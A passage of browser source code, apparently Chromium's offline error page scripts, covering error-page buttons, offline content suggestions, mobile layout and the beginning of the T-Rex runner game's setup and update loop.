    const downloadButton = document.getElementById('download-button');
    downloadButton.disabled = true;
    /** @suppress {missingProperties} */
    downloadButton.textContent = downloadButton.disabledText;

    document.getElementById('download-link-wrapper')
        .classList.add(HIDDEN_CLASS);
    document.getElementById('download-link-clicked-wrapper')
        .classList.remove(HIDDEN_CLASS);
  }
}

function detailsButtonClick() {
  if (window.errorPageController) {
    errorPageController.detailsButtonClick();
  }
}

let primaryControlOnLeft = true;
// clang-format off
// 
// clang-format on
primaryControlOnLeft = false;
// 

function setAutoFetchState(scheduled, can_schedule) {
  document.getElementById('cancel-save-page-button')
      .classList.toggle(HIDDEN_CLASS, !scheduled);
  document.getElementById('save-page-for-later-button')
      .classList.toggle(HIDDEN_CLASS, scheduled || !can_schedule);
}

function savePageLaterClick() {
  errorPageController.savePageForLater();
  // savePageForLater will eventually trigger a call to setAutoFetchState() when
  // it completes.
}

function cancelSavePageClick() {
  errorPageController.cancelSavePage();
  // setAutoFetchState is not called in response to cancelSavePage(), so do it
  // now.
  setAutoFetchState(false, true);
}

function toggleErrorInformationPopup() {
  document.getElementById('error-information-popup-container')
      .classList.toggle(HIDDEN_CLASS);
}

function launchOfflineItem(itemID, name_space) {
  errorPageController.launchOfflineItem(itemID, name_space);
}

function launchDownloadsPage() {
  errorPageController.launchDownloadsPage();
}

function getIconForSuggestedItem(item) {
  // Note: |item.content_type| contains the enum values from
  // chrome::mojom::AvailableContentType.
  switch (item.content_type) {
    case 1:  // kVideo
      return 'image-video';
    case 2:  // kAudio
      return 'image-music-note';
    case 0:  // kPrefetchedPage
    case 3:  // kOtherPage
      return 'image-earth';
  }
  return 'image-file';
}

function getSuggestedContentDiv(item, index) {
  // Note: See AvailableContentToValue in available_offline_content_helper.cc
  // for the data contained in an |item|.
  // TODO(carlosk): Present |snippet_base64| when that content becomes
  // available.
  let thumbnail = '';
  const extraContainerClasses = [];
  // html_inline.py will try to replace src attributes with data URIs using a
  // simple regex. The following is obfuscated slightly to avoid that.
  const source = 'src';
  if (item.thumbnail_data_uri) {
    extraContainerClasses.push('suggestion-with-image');
    thumbnail = `<img ${source}="${item.thumbnail_data_uri}">`;
  } else {
    extraContainerClasses.push('suggestion-with-icon');
    const iconClass = getIconForSuggestedItem(item);
    thumbnail = `<div><img class="${iconClass}"></div>`;
  }

  let favicon = '';
  if (item.favicon_data_uri) {
    favicon = `<img ${source}="${item.favicon_data_uri}">`;
  } else {
    extraContainerClasses.push('no-favicon');
  }

  if (!item.attribution_base64) {
    extraContainerClasses.push('no-attribution');
  }

  return `
  <div class="offline-content-suggestion ${extraContainerClasses.join(' ')}"
    onclick="launchOfflineItem('${item.ID}', '${item.name_space}')">
      <div class="offline-content-suggestion-texts">
        <div id="offline-content-suggestion-title-${index}"
             class="offline-content-suggestion-title">
        </div>
        <div class="offline-content-suggestion-attribution-freshness">
          <div id="offline-content-suggestion-favicon-${index}"
               class="offline-content-suggestion-favicon">
            ${favicon}
          </div>
          <div id="offline-content-suggestion-attribution-${index}"
               class="offline-content-suggestion-attribution">
          </div>
          <div class="offline-content-suggestion-freshness">
            ${item.date_modified}
          </div>
          <div class="offline-content-suggestion-pin-spacer"></div>
          <div class="offline-content-suggestion-pin"></div>
        </div>
      </div>
      <div class="offline-content-suggestion-thumbnail">
        ${thumbnail}
      </div>
  </div>`;
}

/**
 * @typedef {{
 *   ID: string,
 *   name_space: string,
 *   title_base64: string,
 *   snippet_base64: string,
 *   date_modified: string,
 *   attribution_base64: string,
 *   thumbnail_data_uri: string,
 *   favicon_data_uri: string,
 *   content_type: number,
 * }}
 */
let AvailableOfflineContent;

// Populates a list of suggested offline content.
// Note: For security reasons all content downloaded from the web is considered
// unsafe and must be securely handled to be presented on the dino page. Images
// have already been safely re-encoded but textual content -- like title and
// attribution -- must be properly handled here.
// @param {boolean} isShown
// @param {Array<AvailableOfflineContent>} suggestions
function offlineContentAvailable(isShown, suggestions) {
  if (!suggestions || !loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const suggestionsHTML = [];
  for (let index = 0; index < suggestions.length; index++) {
    suggestionsHTML.push(getSuggestedContentDiv(suggestions[index], index));
  }

  document.getElementById('offline-content-suggestions').innerHTML =
      suggestionsHTML.join('\n');

  // Sets textual web content using |textContent| to make sure it's handled as
  // plain text.
  for (let index = 0; index < suggestions.length; index++) {
    document.getElementById(`offline-content-suggestion-title-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].title_base64);
    document.getElementById(`offline-content-suggestion-attribution-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].attribution_base64);
  }

  const contentListElement = document.getElementById('offline-content-list');
  if (document.dir === 'rtl') {
    contentListElement.classList.add('is-rtl');
  }
  contentListElement.hidden = false;
  // The list is configured as hidden by default. Show it if needed.
  if (isShown) {
    toggleOfflineContentListVisibility(false);
  }
}

function toggleOfflineContentListVisibility(updatePref) {
  if (!loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const contentListElement = document.getElementById('offline-content-list');
  const isVisible = !contentListElement.classList.toggle('list-hidden');

  if (updatePref && window.errorPageController) {
    errorPageController.listVisibilityChanged(isVisible);
  }
}

// Called on document load, and from updateForDnsProbe().
function onDocumentLoadOrUpdate() {
  const downloadButtonVisible = loadTimeData.valueExists('downloadButton') &&
      loadTimeData.getValue('downloadButton').msg;
  const detailsButton = document.getElementById('details-button');

  // If offline content suggestions will be visible, the usual buttons will not
  // be presented.
  const offlineContentVisible =
      loadTimeData.valueExists('suggestedOfflineContentPresentation');
  if (offlineContentVisible) {
    document.querySelector('.nav-wrapper').classList.add(HIDDEN_CLASS);
    detailsButton.classList.add(HIDDEN_CLASS);

    document.getElementById('download-link').hidden = !downloadButtonVisible;
    document.getElementById('download-links-wrapper')
        .classList.remove(HIDDEN_CLASS);
    document.getElementById('error-information-popup-container')
        .classList.add('use-popup-container', HIDDEN_CLASS);
    document.getElementById('error-information-button')
        .classList.remove(HIDDEN_CLASS);
  }

  const attemptAutoFetch = loadTimeData.valueExists('attemptAutoFetch') &&
      loadTimeData.getValue('attemptAutoFetch');

  const reloadButtonVisible = loadTimeData.valueExists('reloadButton') &&
      loadTimeData.getValue('reloadButton').msg;

  const reloadButton = document.getElementById('reload-button');
  const downloadButton = document.getElementById('download-button');
  if (reloadButton.style.display === 'none' &&
      downloadButton.style.display === 'none') {
    detailsButton.classList.add('singular');
  }

  // Show or hide control buttons.
  const controlButtonDiv = document.getElementById('control-buttons');
  controlButtonDiv.hidden =
      offlineContentVisible || !(reloadButtonVisible || downloadButtonVisible);

  const iconClass = loadTimeData.valueExists('iconClass') &&
      loadTimeData.getValue('iconClass');

  updateIconClass(iconClass);

  if (!isSubFrame && iconClass === 'icon-offline') {
    document.documentElement.classList.add('offline');
    new Runner('.interstitial-wrapper');
  }
}

function onDocumentLoad() {
  // Sets up the proper button layout for the current platform.
  const buttonsDiv = document.getElementById('buttons');
  if (primaryControlOnLeft) {
    buttonsDiv.classList.add('suggested-left');
  } else {
    buttonsDiv.classList.add('suggested-right');
  }

  onDocumentLoadOrUpdate();
}

document.addEventListener('DOMContentLoaded', onDocumentLoad);
</script>
  <script>// Copyright 2015 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

let mobileNav = false;

/**
 * For small screen mobile the navigation buttons are moved
 * below the advanced text.
 */
function onResize() {
  const helpOuterBox = document.querySelector('#details');
  const mainContent = document.querySelector('#main-content');
  const mediaQuery = '(min-width: 240px) and (max-width: 420px) and ' +
      '(min-height: 401px), ' +
      '(max-height: 560px) and (min-height: 240px) and ' +
      '(min-width: 421px)';

  const detailsHidden = helpOuterBox.classList.contains(HIDDEN_CLASS);
  const runnerContainer = document.querySelector('.runner-container');

  // Check for change in nav status.
  if (mobileNav !== window.matchMedia(mediaQuery).matches) {
    mobileNav = !mobileNav;

    // Handle showing the top content / details sections according to state.
    if (mobileNav) {
      mainContent.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      helpOuterBox.classList.toggle(HIDDEN_CLASS, detailsHidden);
      if (runnerContainer) {
        runnerContainer.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      }
    } else if (!detailsHidden) {
      // Non mobile nav with visible details.
      mainContent.classList.remove(HIDDEN_CLASS);
      helpOuterBox.classList.remove(HIDDEN_CLASS);
      if (runnerContainer) {
        runnerContainer.classList.remove(HIDDEN_CLASS);
      }
    }
  }
}

function setupMobileNav() {
  window.addEventListener('resize', onResize);
  onResize();
}

document.addEventListener('DOMContentLoaded', setupMobileNav);
</script>
  <script>// Copyright 2014 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * T-Rex runner.
 * @param {string} outerContainerId Outer containing element id.
 * @param {!Object=} opt_config
 * @constructor
 * @implements {EventListener}
 * @export
 */
function Runner(outerContainerId, opt_config) {
  // Singleton
  if (Runner.instance_) {
    return Runner.instance_;
  }
  Runner.instance_ = this;

  this.outerContainerEl = document.querySelector(outerContainerId);
  this.containerEl = null;
  this.snackbarEl = null;
  // A div to intercept touch events. Only set while (playing && useTouch).
  this.touchController = null;

  this.config = opt_config || Object.assign(Runner.config, Runner.normalConfig);
  // Logical dimensions of the container.
  this.dimensions = Runner.defaultDimensions;

  this.gameType = null;
  Runner.spriteDefinition = Runner.spriteDefinitionByType['original'];

  this.altGameImageSprite = null;
  this.altGameModeActive = false;
  this.altGameModeFlashTimer = null;
  this.fadeInTimer = 0;

  this.canvas = null;
  this.canvasCtx = null;

  this.tRex = null;

  this.distanceMeter = null;
  this.distanceRan = 0;

  this.highestScore = 0;
  this.syncHighestScore = false;

  this.time = 0;
  this.runningTime = 0;
  this.msPerFrame = 1000 / FPS;
  this.currentSpeed = this.config.SPEED;
  Runner.slowDown = false;

  this.obstacles = [];

  this.activated = false; // Whether the easter egg has been activated.
  this.playing = false; // Whether the game is currently in play state.
  this.crashed = false;
  this.paused = false;
  this.inverted = false;
  this.invertTimer = 0;
  this.resizeTimerId_ = null;

  this.playCount = 0;

  // Sound FX.
  this.audioBuffer = null;

  /** @type {Object} */
  this.soundFx = {};
  this.generatedSoundFx = null;

  // Global web audio context for playing sounds.
  this.audioContext = null;

  // Images.
  this.images = {};
  this.imagesLoaded = 0;

  // Gamepad state.
  this.pollingGamepads = false;
  this.gamepadIndex = undefined;
  this.previousGamepad = null;

  if (this.isDisabled()) {
    this.setupDisabledRunner();
  } else {
    if (Runner.isAltGameModeEnabled()) {
      this.initAltGameType();
      Runner.gameType = this.gameType;
    }
    this.loadImages();

    window['initializeEasterEggHighScore'] =
        this.initializeHighScore.bind(this);
  }
}

/**
 * Default game width.
 * @const
 */
const DEFAULT_WIDTH = 600;

/**
 * Frames per second.
 * @const
 */
const FPS = 60;

/** @const */
const IS_HIDPI = window.devicePixelRatio > 1;

/** @const */
const IS_IOS = /CriOS/.test(window.navigator.userAgent);

/** @const */
const IS_MOBILE = /Android/.test(window.navigator.userAgent) || IS_IOS;

/** @const */
const IS_RTL = document.querySelector('html').dir == 'rtl';

/** @const */
const ARCADE_MODE_URL = 'chrome://dino/';

/** @const */
const RESOURCE_POSTFIX = 'offline-resources-';

/** @const */
const A11Y_STRINGS = {
  ariaLabel: 'dinoGameA11yAriaLabel',
  description: 'dinoGameA11yDescription',
  gameOver: 'dinoGameA11yGameOver',
  highScore: 'dinoGameA11yHighScore',
  jump: 'dinoGameA11yJump',
  started: 'dinoGameA11yStartGame',
  speedLabel: 'dinoGameA11ySpeedToggle',
};

/**
 * Default game configuration.
 * Shared config for all  versions of the game. Additional parameters are
 * defined in Runner.normalConfig and Runner.slowConfig.
 */
Runner.config = {
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  BG_CLOUD_SPEED: 0.2,
  BOTTOM_PAD: 10,
  // Scroll Y threshold at which the game can be activated.
  CANVAS_IN_VIEW_OFFSET: -10,
  CLEAR_TIME: 3000,
  CLOUD_FREQUENCY: 0.5,
  FADE_DURATION: 1,
  FLASH_DURATION: 1000,
  GAMEOVER_CLEAR_TIME: 1200,
  INITIAL_JUMP_VELOCITY: 12,
  INVERT_FADE_DURATION: 12000,
  MAX_BLINK_COUNT: 3,
  MAX_CLOUDS: 6,
  MAX_OBSTACLE_LENGTH: 3,
  MAX_OBSTACLE_DUPLICATION: 2,
  RESOURCE_TEMPLATE_ID: 'audio-resources',
  SPEED: 6,
  SPEED_DROP_COEFFICIENT: 3,
  ARCADE_MODE_INITIAL_TOP_POSITION: 35,
  ARCADE_MODE_TOP_POSITION_PERCENT: 0.1,
};

Runner.normalConfig = {
  ACCELERATION: 0.001,
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  GAP_COEFFICIENT: 0.6,
  INVERT_DISTANCE: 700,
  MAX_SPEED: 13,
  MOBILE_SPEED_COEFFICIENT: 1.2,
  SPEED: 6,
};


Runner.slowConfig = {
  ACCELERATION: 0.0005,
  AUDIOCUE_PROXIMITY_THRESHOLD: 170,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 220,
  GAP_COEFFICIENT: 0.3,
  INVERT_DISTANCE: 350,
  MAX_SPEED: 9,
  MOBILE_SPEED_COEFFICIENT: 1.5,
  SPEED: 4.2,
};


/**
 * Default dimensions.
 */
Runner.defaultDimensions = {
  WIDTH: DEFAULT_WIDTH,
  HEIGHT: 150,
};


/**
 * CSS class names.
 * @enum {string}
 */
Runner.classes = {
  ARCADE_MODE: 'arcade-mode',
  CANVAS: 'runner-canvas',
  CONTAINER: 'runner-container',
  CRASHED: 'crashed',
  ICON: 'icon-offline',
  INVERTED: 'inverted',
  SNACKBAR: 'snackbar',
  SNACKBAR_SHOW: 'snackbar-show',
  TOUCH_CONTROLLER: 'controller',
};


/**
 * Sound FX. Reference to the ID of the audio tag on interstitial page.
 * @enum {string}
 */
Runner.sounds = {
  BUTTON_PRESS: 'offline-sound-press',
  HIT: 'offline-sound-hit',
  SCORE: 'offline-sound-reached',
};


/**
 * Key code mapping.
 * @enum {Object}
 */
Runner.keycodes = {
  JUMP: {'38': 1, '32': 1},  // Up, spacebar
  DUCK: {'40': 1},           // Down
  RESTART: {'13': 1},        // Enter
};


/**
 * Runner event names.
 * @enum {string}
 */
Runner.events = {
  ANIM_END: 'webkitAnimationEnd',
  CLICK: 'click',
  KEYDOWN: 'keydown',
  KEYUP: 'keyup',
  POINTERDOWN: 'pointerdown',
  POINTERUP: 'pointerup',
  RESIZE: 'resize',
  TOUCHEND: 'touchend',
  TOUCHSTART: 'touchstart',
  VISIBILITY: 'visibilitychange',
  BLUR: 'blur',
  FOCUS: 'focus',
  LOAD: 'load',
  GAMEPADCONNECTED: 'gamepadconnected',
};

Runner.prototype = {
  /**
   * Initialize alternative game type.
   */
  initAltGameType() {
    if (GAME_TYPE.length > 0) {
      this.gameType = loadTimeData && loadTimeData.valueExists('altGameType') ?
          GAME_TYPE[parseInt(loadTimeData.getValue('altGameType'), 10) - 1] :
          '';
    }
  },

  /**
   * Whether the easter egg has been disabled. CrOS enterprise enrolled devices.
   * @return {boolean}
   */
  isDisabled() {
    return loadTimeData && loadTimeData.valueExists('disabledEasterEgg');
  },

  /**
   * For disabled instances, set up a snackbar with the disabled message.
   */
  setupDisabledRunner() {
    this.containerEl = document.createElement('div');
    this.containerEl.className = Runner.classes.SNACKBAR;
    this.containerEl.textContent = loadTimeData.getValue('disabledEasterEgg');
    this.outerContainerEl.appendChild(this.containerEl);

    // Show notification when the activation key is pressed.
    document.addEventListener(Runner.events.KEYDOWN, function(e) {
      if (Runner.keycodes.JUMP[e.keyCode]) {
        this.containerEl.classList.add(Runner.classes.SNACKBAR_SHOW);
        document.querySelector('.icon').classList.add('icon-disabled');
      }
    }.bind(this));
  },

  /**
   * Setting individual settings for debugging.
   * @param {string} setting
   * @param {number|string} value
   */
  updateConfigSetting(setting, value) {
    if (setting in this.config && value !== undefined) {
      this.config[setting] = value;

      switch (setting) {
        case 'GRAVITY':
        case 'MIN_JUMP_HEIGHT':
        case 'SPEED_DROP_COEFFICIENT':
          this.tRex.config[setting] = value;
          break;
        case 'INITIAL_JUMP_VELOCITY':
          this.tRex.setJumpVelocity(value);
          break;
        case 'SPEED':
          this.setSpeed(/** @type {number} */ (value));
          break;
      }
    }
  },

  /**
   * Creates an on page image element from the base 64 encoded string source.
   * @param {string} resourceName Name in data object,
   * @return {HTMLImageElement} The created element.
   */
  createImageElement(resourceName) {
    const imgSrc = loadTimeData && loadTimeData.valueExists(resourceName) ?
        loadTimeData.getString(resourceName) :
        null;

    if (imgSrc) {
      const el =
          /** @type {HTMLImageElement} */ (document.createElement('img'));
      el.id = resourceName;
      el.src = imgSrc;
      document.getElementById('offline-resources').appendChild(el);
      return el;
    }
    return null;
  },

  /**
   * Cache the appropriate image sprite from the page and get the sprite sheet
   * definition.
   */
  loadImages() {
    let scale = '1x';
    this.spriteDef = Runner.spriteDefinition.LDPI;
    if (IS_HIDPI) {
      scale = '2x';
      this.spriteDef = Runner.spriteDefinition.HDPI;
    }

    Runner.imageSprite = /** @type {HTMLImageElement} */
        (document.getElementById(RESOURCE_POSTFIX + scale));

    if (this.gameType) {
      Runner.altGameImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameSpecificImage' + scale));
      Runner.altCommonImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameCommonImage' + scale));
    }
    Runner.origImageSprite = Runner.imageSprite;

    // Disable the alt game mode if the sprites can't be loaded.
    if (!Runner.altGameImageSprite || !Runner.altCommonImageSprite) {
      Runner.isAltGameModeEnabled = () => false;
      this.altGameModeActive = false;
    }

    if (Runner.imageSprite.complete) {
      this.init();
    } else {
      // If the images are not yet loaded, add a listener.
      Runner.imageSprite.addEventListener(Runner.events.LOAD,
          this.init.bind(this));
    }
  },

  /**
   * Load and decode base 64 encoded sounds.
   */
  loadSounds() {
    if (!IS_IOS) {
      this.audioContext = new AudioContext();

      const resourceTemplate =
          document.getElementById(this.config.RESOURCE_TEMPLATE_ID).content;

      for (const sound in Runner.sounds) {
        let soundSrc =
            resourceTemplate.getElementById(Runner.sounds[sound]).src;
        soundSrc = soundSrc.substr(soundSrc.indexOf(',') + 1);
        const buffer = decodeBase64ToArrayBuffer(soundSrc);

        // Async, so no guarantee of order in array.
        this.audioContext.decodeAudioData(buffer, function(index, audioData) {
            this.soundFx[index] = audioData;
          }.bind(this, sound));
      }
    }
  },

  /**
   * Sets the game speed. Adjust the speed accordingly if on a smaller screen.
   * @param {number=} opt_speed
   */
  setSpeed(opt_speed) {
    const speed = opt_speed || this.currentSpeed;

    // Reduce the speed on smaller mobile screens.
    if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
      const mobileSpeed = Runner.slowDown ? speed :
                                            speed * this.dimensions.WIDTH /
              DEFAULT_WIDTH * this.config.MOBILE_SPEED_COEFFICIENT;
      this.currentSpeed = mobileSpeed > speed ? speed : mobileSpeed;
    } else if (opt_speed) {
      this.currentSpeed = opt_speed;
    }
  },

  /**
   * Game initialiser.
   */
  init() {
    // Hide the static icon.
    document.querySelector('.' + Runner.classes.ICON).style.visibility =
        'hidden';

    this.adjustDimensions();
    this.setSpeed();

    const ariaLabel = getA11yString(A11Y_STRINGS.ariaLabel);
    this.containerEl = document.createElement('div');
    this.containerEl.setAttribute('role', IS_MOBILE ? 'button' : 'application');
    this.containerEl.setAttribute('tabindex', '0');
    this.containerEl.setAttribute('title', ariaLabel);

    this.containerEl.className = Runner.classes.CONTAINER;

    // Player canvas container.
    this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);

    // Live region for game status updates.
    this.a11yStatusEl = document.createElement('span');
    this.a11yStatusEl.className = 'offline-runner-live-region';
    this.a11yStatusEl.setAttribute('aria-live', 'assertive');
    this.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl = this.a11yStatusEl;

    // Add checkbox to slow down the game.
    this.slowSpeedCheckboxLabel = document.createElement('label');
    this.slowSpeedCheckboxLabel.className = 'slow-speed-option hidden';
    this.slowSpeedCheckboxLabel.textContent =
        getA11yString(A11Y_STRINGS.speedLabel);

    this.slowSpeedCheckbox = document.createElement('input');
    this.slowSpeedCheckbox.setAttribute('type', 'checkbox');
    this.slowSpeedCheckbox.setAttribute(
        'title', getA11yString(A11Y_STRINGS.speedLabel));
    this.slowSpeedCheckbox.setAttribute('tabindex', '0');
    this.slowSpeedCheckbox.setAttribute('checked', 'checked');

    this.slowSpeedToggleEl = document.createElement('span');
    this.slowSpeedToggleEl.className = 'slow-speed-toggle';

    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedCheckbox);
    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedToggleEl);

    if (IS_IOS) {
      this.outerContainerEl.appendChild(this.a11yStatusEl);
    } else {
      this.containerEl.appendChild(this.a11yStatusEl);
    }

    announcePhrase(getA11yString(A11Y_STRINGS.description));

    this.generatedSoundFx = new GeneratedSoundFx();

    this.canvasCtx =
        /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
    this.canvasCtx.fillStyle = '#f7f7f7';
    this.canvasCtx.fill();
    Runner.updateCanvasScaling(this.canvas);

    // Horizon contains clouds, obstacles and the ground.
    this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,
        this.config.GAP_COEFFICIENT);

    // Distance meter
    this.distanceMeter = new DistanceMeter(this.canvas,
          this.spriteDef.TEXT_SPRITE, this.dimensions.WIDTH);

    // Draw t-rex
    this.tRex = new Trex(this.canvas, this.spriteDef.TREX);

    this.outerContainerEl.appendChild(this.containerEl);
    this.outerContainerEl.appendChild(this.slowSpeedCheckboxLabel);

    this.startListening();
    this.update();

    window.addEventListener(Runner.events.RESIZE,
        this.debounceResize.bind(this));

    // Handle dark mode
    const darkModeMediaQuery =
        window.matchMedia('(prefers-color-scheme: dark)');
    this.isDarkMode = darkModeMediaQuery && darkModeMediaQuery.matches;
    darkModeMediaQuery.addListener((e) => {
      this.isDarkMode = e.matches;
    });
  },

  /**
   * Create the touch controller. A div that covers whole screen.
   */
  createTouchController() {
    this.touchController = document.createElement('div');
    this.touchController.className = Runner.classes.TOUCH_CONTROLLER;
    this.touchController.addEventListener(Runner.events.TOUCHSTART, this);
    this.touchController.addEventListener(Runner.events.TOUCHEND, this);
    this.outerContainerEl.appendChild(this.touchController);
  },

  /**
   * Debounce the resize event.
   */
  debounceResize() {
    if (!this.resizeTimerId_) {
      this.resizeTimerId_ =
          setInterval(this.adjustDimensions.bind(this), 250);
    }
  },

  /**
   * Adjust game space dimensions on resize.
   */
  adjustDimensions() {
    clearInterval(this.resizeTimerId_);
    this.resizeTimerId_ = null;

    const boxStyles = window.getComputedStyle(this.outerContainerEl);
    const padding = Number(boxStyles.paddingLeft.substr(0,
        boxStyles.paddingLeft.length - 2));

    this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding * 2;
    if (this.isArcadeMode()) {
      this.dimensions.WIDTH = Math.min(DEFAULT_WIDTH, this.dimensions.WIDTH);
      if (this.activated) {
        this.setArcadeModeContainerScale();
      }
    }

    // Redraw the elements back onto the canvas.
    if (this.canvas) {
      this.canvas.width = this.dimensions.WIDTH;
      this.canvas.height = this.dimensions.HEIGHT;

      Runner.updateCanvasScaling(this.canvas);

      this.distanceMeter.calcXPos(this.dimensions.WIDTH);
      this.clearCanvas();
      this.horizon.update(0, 0, true);
      this.tRex.update(0);

      // Outer container and distance meter.
      if (this.playing || this.crashed || this.paused) {
        this.containerEl.style.width = this.dimensions.WIDTH + 'px';
        this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
        this.distanceMeter.update(0, Math.ceil(this.distanceRan));
        this.stop();
      } else {
        this.tRex.draw(0, 0);
      }

      // Game over panel.
      if (this.crashed && this.gameOverPanel) {
        this.gameOverPanel.updateDimensions(this.dimensions.WIDTH);
        this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
      }
    }
  },

  /**
   * Play the game intro.
   * Canvas container width expands out to the full width.
   */
  playIntro() {
    if (!this.activated && !this.crashed) {
      this.playingIntro = true;
      this.tRex.playingIntro = true;

      // CSS animation definition.
      const keyframes = '@-webkit-keyframes intro { ' +
            'from { width:' + Trex.config.WIDTH + 'px }' +
            'to { width: ' + this.dimensions.WIDTH + 'px }' +
          '}';
      document.styleSheets[0].insertRule(keyframes, 0);

      this.containerEl.addEventListener(Runner.events.ANIM_END,
          this.startGame.bind(this));

      this.containerEl.style.webkitAnimation = 'intro .4s ease-out 1 both';
      this.containerEl.style.width = this.dimensions.WIDTH + 'px';

      this.setPlayStatus(true);
      this.activated = true;
    } else if (this.crashed) {
      this.restart();
    }
  },


  /**
   * Update the game status to started.
   */
  startGame() {
    if (this.isArcadeMode()) {
      this.setArcadeMode();
    }
    this.toggleSpeed();
    this.runningTime = 0;
    this.playingIntro = false;
    this.tRex.playingIntro = false;
    this.containerEl.style.webkitAnimation = '';
    this.playCount++;
    this.generatedSoundFx.background();
    announcePhrase(getA11yString(A11Y_STRINGS.started));

    if (Runner.audioCues) {
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
    }

    // Handle tabbing off the page. Pause the current game.
    document.addEventListener(Runner.events.VISIBILITY,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.BLUR,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.FOCUS,
          this.onVisibilityChange.bind(this));
  },

  clearCanvas() {
    this.canvasCtx.clearRect(0, 0, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);
  },

  /**
   * Checks whether the canvas area is in the viewport of the browser
   * through the current scroll position.
   * @return boolean.
   */
  isCanvasInView() {
    return this.containerEl.getBoundingClientRect().top >
        Runner.config.CANVAS_IN_VIEW_OFFSET;
  },

  /**
   * Enable the alt game mode. Switching out the sprites.
   */
  enableAltGameMode() {
    Runner.imageSprite = Runner.altGameImageSprite;
    Runner.spriteDefinition = Runner.spriteDefinitionByType[Runner.gameType];

    if (IS_HIDPI) {
      this.spriteDef = Runner.spriteDefinition.HDPI;
    } else {
      this.spriteDef = Runner.spriteDefinition.LDPI;
    }

    this.altGameModeActive = true;
    this.tRex.enableAltGameMode(this.spriteDef.TREX);
    this.horizon.enableAltGameMode(this.spriteDef);
    this.generatedSoundFx.background();
  },

  /**
   * Update the game frame and schedules the next one.
   */
  update() {
    this.updatePending = false;

    const now = getTimeStamp();
    let deltaTime = now - (this.time || now);

    // Flashing when switching game modes.
    if (this.altGameModeFlashTimer < 0 || this.altGameModeFlashTimer === 0) {
      this.altGameModeFlashTimer = null;
      this.tRex.setFlashing(false);
      this.enableAltGameMode();
    } else if (this.altGameModeFlashTimer > 0) {
      this.altGameModeFlashTimer -= deltaTime;
      this.tRex.update(deltaTime);
      deltaTime = 0;
    }

    this.time = now;

    if (this.playing) {
      this.clearCanvas();

      // Additional fade in - Prevents jump when switching sprites
      if (this.altGameModeActive &&
          this.fadeInTimer <= this.config.FADE_DURATION) {
        this.fadeInTimer += deltaTime / 1000;
        this.canvasCtx.globalAlpha = this.fadeInTimer;
      } else {
        this.canvasCtx.globalAlpha = 1;
      }

      if (this.tRex.jumping) {
        this.tRex.updateJump(deltaTime);
      }

      this.runningTime += deltaTime;
      const hasObstacles = this.runningTime > this.config.CLEAR_TIME;

      // First jump triggers the intro.
      if (this.tRex.jumpCount === 1 && !this.playingIntro) {
        this.playIntro();
      }

      // The horizon doesn't move until the intro is over.
      if (this.playingIntro) {
        this.horizon.update(0, this.currentSpeed, hasObstacles);
      } else if (!this.crashed) {
        const showNightMode = this.isDarkMode ^ this.inverted;
        deltaTime = !this.activated ? 0 : deltaTime;
        this.horizon.update(
            deltaTime, this.currentSpeed, hasObstacles, showNightMode);
      }

      // Check for collisions.
      let collision = hasObstacles &&
          checkForCollision(this.horizon.obstacles[0], this.tRex);

      // For a11y, audio cues.
      if (Runner.audioCues && hasObstacles) {
        const jumpObstacle =
            this.horizon.obstacles[0].typeConfig.type != 'COLLECTABLE';

        if (!this.horizon.obstacles[0].jumpAlerted) {
          const threshold = Runner.isMobileMouseInput ?
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y :
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD;
          const adjProximityThreshold = threshold +
              (threshold * Math.log10(this.currentSpeed / Runner.config.SPEED));

          if (this.horizon.obstacles[0].xPos < adjProximityThreshold) {
            if (jumpObstacle) {
              this.generatedSoundFx.jump();
            }
            this.horizon.obstacles[0].jumpAlerted = true;
          }
        }
      }

      // Activated alt game mode.
      if (Runner.isAltGameModeEnabled() && collision &&
          this.horizon.obstacles[0].typeConfig.type == 'COLLECTABLE') {
        this.horizon.removeFirstObstacle();
        this.tRex.setFlashing(true);
        collision = false;
        this.altGameModeFlashTimer = this.config.FLASH_DURATION;
        this.runningTime = 0;
        this.generatedSoundFx.collect();
      }

      if (!collision) {
        this.distanceRan += this.currentSpeed * deltaTime / this.msPerFrame;

        if (this.currentSpeed < this.config.MAX_SPEED) {
          this.currentSpeed += this.config.ACCELERATION;
        }
      } else {
        this.gameOver();
      }

      const playAchievementSound = this.distanceMeter.update(deltaTime,
          Math.ceil(this.distanceRan));

      if (!Runner.audioCues && playAchievementSound) {
        this.playSound(this.soundFx.SCORE);
      }

      // Night mode.
      if (!Runner.isAltGameModeEnabled()) {
        if (this.invertTimer > this.config.INVERT_FADE_DURATION) {
          this.invertTimer = 0;
          this.invertTrigger = false;
          this.invert(false);
        } else if (this.invertTimer) {
          this.invertTimer += deltaTime;
        } else {
          const actualDistance =
